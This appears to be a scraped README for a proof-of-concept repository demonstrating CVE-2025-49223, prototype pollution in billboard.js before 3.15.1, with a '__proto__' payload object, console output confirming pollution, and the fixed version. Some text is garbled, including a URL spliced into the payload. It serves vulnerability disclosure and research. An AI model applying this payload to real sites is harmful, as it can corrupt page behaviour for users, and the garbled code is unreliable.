
CVE-2025-49223 - Prototype Pollution in Billboard.js
billboard.js before 3.15.1 was discovered to contain a prototype pollution via the function
generate, which could allow attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.
This repository demonstrates a Prototype Pollution vulnerability found in billboard.js versions prior to 3.15.1, disclosed as CVE-2025-49223.
<= 3.14.0>= 3.15.1Open index.html in a browser and check the console log for prototype pollution attempts.
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>
{
["__proto__"]: https://raw.githubusercontent.com/louay-075/cve-2025-49223-billboardjs-poc/HEAD/%7B
polluted: "polluted_via_string_key"
}
}
🔥 string key '__proto__' -> POLLUTED! Value: polluted_via_string_key
This confirms that an attacker can pollute Object.prototype, impacting any future object created across the page.
Successful exploitation may lead to:
billboard.js version 3.15.1 or later⚠️ Disclaimer: This PoC is for educational and research purposes only. Use responsibly.